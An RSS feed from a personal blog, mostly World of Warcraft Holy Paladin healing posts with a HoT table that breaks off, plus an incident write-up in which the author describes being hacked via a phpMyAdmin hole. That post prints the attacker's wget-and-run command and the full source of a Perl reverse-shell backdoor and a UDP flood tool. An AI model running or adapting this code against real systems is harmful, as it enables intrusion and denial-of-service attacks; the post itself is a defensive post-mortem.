<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>project-2501.net &#187; Uncategorized</title>
	<atom:link href="http://project-2501.net/index.php/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://project-2501.net</link>
	<description>The net is vast and infinite.</description>
	<lastBuildDate>Wed, 03 Feb 2010 08:51:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How win friends and pad meters</title>
		<link>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/</link>
		<comments>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 15:37:30 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=222</guid>
		<description><![CDATA[Introduction to Holy Paladin Healing in 3.2/3.3
Spec


        Base Holy tree looks something like this talent tree

Points in Imp Wis and Bless Hands can be moved about if you&#8217;d prefer



        Then either go 17 points into Prot for Divine Guardian, or 20 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction to Holy Paladin Healing in 3.2/3.3</strong></p>
<h3>Spec</h3>
<ul>
<li>
        Base Holy tree looks something like this <a href="http://www.wowhead.com/?talent#sxAzxMosVu0tgd">talent tree</a></p>
<ul>
<li>Points in Imp Wis and Bless Hands can be moved about if you&#8217;d prefer</li>
</ul>
</li>
<li>
        Then either go 17 points into Prot for Divine Guardian, or 20 points into Ret for Crit + Run Speed
    </li>
</ul>
<h3>Glyphs</h3>
<ul>
<li>Glyph of Holy Light</li>
<li>Glyph of Wisdom</li>
<li>Glyph of Beacon of Light  (My preference)</li>
</ul>
<h3>Addons</h3>
<ul>
<li>Grid + Clique / Healbot / Fail Bindings + Blizzard frames.  Just make sure you can see every-ones health, and debuffs (preferable with time + stacks)</li>
<li><a href="http://wow.curse.com/downloads/wow-addons/details/clcbpt.aspx">Paladin Beacon of Light, Sacred Shield Tracker</a></li>
<li><a href="http://wow.curse.com/downloads/wow-addons/details/jaraxxus_debuffhealingmonitor.aspx">Jaraxxus_DebuffHealingMonitor</a></li>
</ul>
<h3>Gear</h3>
<ul>
<li>Int > *</li>
<li>Use a Insightful Earthsiege Diamond Meta. Always</li>
<li>Socket +20 Int in everything, use a single Nightmare Tear (+10 all stats) to activate the meta</li>
<li>Haste is a great throughput stat, 500-650 is a nice area to aim for</li>
<li>Don&#8217;t worry too much about your crit / mp5.  Keep them balance, it will come naturally on your gear</li>
</ul>
<h3>Healing</h3>
<ul>
<li>Assuming a non trivial fight (else do what ever the hell you want, it&#8217;s not important)</li>
<li>Your job will be to keep the tanks up, and help out on the raid when safe</li>
<li>Make sure you can see debuffs.  If you use Grid either add the debuffs for each encounter  yourself, or install a Grid addon that does it for you</li>
<li>
        Pick the player that will take most damage during the fight, this will normally be the MT</p>
<ul>
<li>Put Beacon on them.  Keep it up.  Don&#8217;t let it drop.</li>
<li>Beacon has a 60yard range, use this to your advantage (e.g. If phase 2 of beasts you can spread out more than other healers and still heal both tanks)</li>
<li>
                Note:  With Multiple Paladins, if may be wise to split the Beacons depending on the fight. For example:</p>
<ul>
<li>Beasts doesn&#8217;t matter, you&#8217;ll be healing the two tanks almost all the time (phase 1 + 2)</li>
<li>Jaraxxus split between OT and MT (the OT will take similar amounts of damage, that can be more spikey [Asmuing your interupters don't suck])</li>
<li>Twins split, raid healing is very high compared to tank damage</li>
</ul>
</li>
</ul>
</li>
<li>
        Keep JotP up.  Always.  It&#8217;s one GCD every 60s for 15% Haste.</p>
<ul>
<li>Judge Light to pad meters, judge Wisdom to keep hunters from QQ&#8217;ing</li>
<li>Don&#8217;t wait till 5s before refreshing the buff, do it when the tank isn&#8217;t taking much damage and the raid is nice and high</li>
<li>Judge = Melee attack = Change of Seal of Wisdom proc</li>
</ul>
</li>
<li>If you&#8217;re Holy/Prot; keep SS up, like judgements, refresh early when it&#8217;s safe</li>
<li>Spam HL on Target taking damage that you haven&#8217;t placed Beacon on (OT, or Raid members)</li>
<li>Be Awesome</li>
</ul>
<h3>Dealing with Mana</h3>
<ul>
<li>FoL isn&#8217;t useless, use it to save mana when you know the there is little damage (First 2-3 impales on beasts).  Just don&#8217;t let anyone die.</li>
<li>Time Divine Plea with natural breaks in the fight (phase change, or little damage) don&#8217;t leave it till you&#8217;re out of mana</li>
<li>Use Divine Illumination early so you can use it several times during en encounter</li>
<li>
        Abuse Seal of Wisdom when it&#8217;s safe. e.g.</p>
<ul>
<li>Icehowl, after a stun (make sure you leave melee range before the stun wears off to avoid the knock back)</li>
<li>Jarraxus when no adds are up (you need to pay very close attention to what&#8217;s going on)</li>
<li>Twins, when there aren&#8217;t too many orbs about</li>
<li>Anub&#8217;Arak, on phase change whack the Scarabs and even Anub himself in between Holy Lights</li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No One Likes a Tattletale</title>
		<link>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/</link>
		<comments>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 06:29:19 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=210</guid>
		<description><![CDATA[
DesuToys
]]></description>
			<content:encoded><![CDATA[<p><img src="http://project-2501.net/gallery/k20d/20080902-SG200976.jpg" alt="" /></p>
<p><a href="http://shop.desutoys.com/">DesuToys</a></p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>hacked</title>
		<link>http://project-2501.net/index.php/2009/09/hacked/</link>
		<comments>http://project-2501.net/index.php/2009/09/hacked/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 07:52:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=194</guid>
		<description><![CDATA[Yep, I was hacked 5 days ago.  Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).
From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, I was hacked 5 days ago.  Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).</p>
<p>From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you wanted.  <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1151">CVE-2009-1151</a>.  An implementation of that attack is available from <a href="http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt">GNU Citizen</a></p>
<p>Of course after that, you&#8217;re able to do anything the web server can.  The command that was run on my server was:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:540px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">/admin/phpmyadmin/config/config.inc.php?c=cd%20/tmp;wget%20mixtheremix.ucoz.com/robot.txt;perl%20robot.txt;rm%20-rf%20robot.txt</div></div>
<p>ucoz.com is a free website service.  I was also unable to recover robot.txt</p>
<p>The script appear to download and execute two scripts:<br />
<strong>back.txt</strong></p>
<div class="codecolorer-container perl " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="perl codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/perl</span><br />
<span class="kw2">use</span> IO<span class="sy0">::</span><span class="me2">Socket</span><span class="sy0">;</span><br />
<span class="re0">$system</span> &nbsp; &nbsp;<span class="sy0">=</span> <span class="st_h">'/bin/bash'</span><span class="sy0">;</span><br />
<span class="re0">$ARGC</span><span class="sy0">=</span><span class="re0">@ARGV</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;--== Fucking Machine ==-- <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGC</span><span class="sy0">!=</span><span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw3">print</span> <span class="st0">&quot;Usage: $0 [Host] [Port] <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp;<span class="kw3">die</span> <span class="st0">&quot;Ex: $0 127.0.0.1 2121 <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">use</span> Socket<span class="sy0">;</span><br />
<span class="kw2">use</span> FileHandle<span class="sy0">;</span><br />
<span class="kw3">socket</span><span class="br0">&#40;</span>SOCKET<span class="sy0">,</span> PF_INET<span class="sy0">,</span> SOCK_STREAM<span class="sy0">,</span> <span class="kw3">getprotobyname</span><span class="br0">&#40;</span><span class="st_h">'tcp'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="kw3">die</span> <span class="kw3">print</span> <span class="st0">&quot;[-] Unable to Resolve Host<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">connect</span><span class="br0">&#40;</span>SOCKET<span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">,</span> inet_aton<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="kw3">die</span> <span class="kw3">print</span> <span class="st0">&quot;[-] Unable to Connect Host<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;[*] Spawning Shell <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
SOCKET<span class="sy0">-&gt;</span><span class="me1">autoflush</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDIN</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDOUT</span><span class="sy0">,</span><span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">open</span><span class="br0">&#40;</span><span class="kw2">STDERR</span><span class="sy0">,</span><span class="st0">&quot;&gt;&amp;SOCKET&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">print</span> <span class="st0">&quot;--== Thuraya Team ==-- &nbsp;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;<br />
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- &quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">system</span><span class="br0">&#40;</span><span class="re0">$system</span><span class="br0">&#41;</span><span class="sy0">;</span></div></div>
<p><strong>udp.pl</strong></p>
<div class="codecolorer-container perl " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="perl codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/perl</span><br />
<br />
<br />
<span class="kw2">use</span> Socket<span class="sy0">;</span><br />
<br />
<span class="re0">$ARGC</span><span class="sy0">=</span><span class="re0">@ARGV</span><span class="sy0">;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGC</span> <span class="sy0">!=</span><span class="nu0">3</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">printf</span> <span class="st0">&quot;$0 &lt;ip&gt; &lt;port&gt; &lt;time&gt;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">printf</span> <span class="st0">&quot;for any info vizit http://hacking.3xforum.ro/ <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$ip</span><span class="sy0">,</span><span class="re0">$port</span><span class="sy0">,</span><span class="re0">$size</span><span class="sy0">,</span><span class="re0">$time</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$ip</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$port</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span> <br />
&nbsp;<span class="re0">$time</span><span class="sy0">=</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
<br />
<span class="kw3">socket</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> PF_INET<span class="sy0">,</span> SOCK_DGRAM<span class="sy0">,</span> <span class="nu0">17</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$iaddr</span> <span class="sy0">=</span> inet_aton<span class="br0">&#40;</span><span class="st0">&quot;$ip&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw3">printf</span> <span class="st0">&quot;Amu Floodez $ip pe portu $port <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">printf</span> <span class="st0">&quot;daca nu pica in 10 min dai pe alt port <span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">goto</span> randpackets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">goto</span> packets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">goto</span> packets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">==</span><span class="nu0">0</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">!=</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw3">system</span><span class="br0">&#40;</span><span class="st0">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <br />
&nbsp;<span class="kw3">goto</span> randpackets<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
packets<span class="sy0">:</span><br />
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="sy0">;;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$size</span><span class="sy0">=</span><span class="re0">$rand</span> x <span class="re0">$rand</span> x <span class="re0">$rand</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">send</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="re0">$size</span><span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$port</span><span class="sy0">,</span> <span class="re0">$iaddr</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span> <br />
<br />
randpackets<span class="sy0">:</span><br />
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="sy0">;;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$size</span><span class="sy0">=</span><span class="re0">$rand</span> x <span class="re0">$rand</span> x <span class="re0">$rand</span><span class="sy0">;</span><br />
&nbsp;<span class="re0">$port</span><span class="sy0">=</span><span class="kw3">int</span><span class="br0">&#40;</span><span class="kw3">rand</span> <span class="nu0">65000</span><span class="br0">&#41;</span> <span class="sy0">+</span><span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp;<span class="kw3">send</span><span class="br0">&#40;</span>crazy<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="re0">$size</span><span class="sy0">,</span> sockaddr_in<span class="br0">&#40;</span><span class="re0">$port</span><span class="sy0">,</span> <span class="re0">$iaddr</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div></div>
<p>What I&#8217;ve learnt:</p>
<ul>
<li>Keep PHPMyAdmin up to date, because they suck at security (The whole idea of a PHP script being able to write a PHP script is stupid)
<li>(Failing the last point) Don&#8217;t leave un-maintained PHP scripts in publicly accessible locations</li>
<li>Investigate in a way to disable system/eval in PHP (with a whitelist)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/hacked/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>3.2 Rolling FoL SS HoTs</title>
		<link>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/</link>
		<comments>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 08:31:21 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=172</guid>
		<description><![CDATA[Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have n number of buffs up on the target, and WoW just consolidates them into one  (As oppose to old ignite rolling, where each time the debuff was added, the damage [...]]]></description>
			<content:encoded><![CDATA[<p>Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have <em>n</em> number of buffs up on the target, and WoW just consolidates them into one  (As oppose to old ignite rolling, where each time the debuff was added, the damage was added to the previous debuff and the time reset, resulting in massive damage with lots of luck).</p>
<p>I&#8217;m 95% sure the FoL SS HoT won&#8217;t work like this, but I wanted to test how it would work at current gear levels.</p>
<p><!-- Horrible CCS hacks to add padding back to my poor tables --></p>
<style>
.mytable_172 td
{
padding: 0.2em;
}
</style>
<table class="mytable_172" cellspacing="0" cellpadding="2" cols="1" border="1" style="border: 1px solid #ccc; border-collapse: collapse;">
<tbody>
<tr>
<td><B>0</B></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>0.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>1</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>1.5</B></td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>2</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>2.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>3</B></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>3.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>4</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>4.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>5</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>5.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>6</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>6.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>7</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>7.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>8</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>8.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>9</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>9.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>10</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>10.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>11</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>11.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>12</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td><I>6667</I></td>
</tr>
<tr>
<td><B>12.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>15</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>15.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>18</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>18.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>21</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>21.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22.5</B></td>
<td></td>
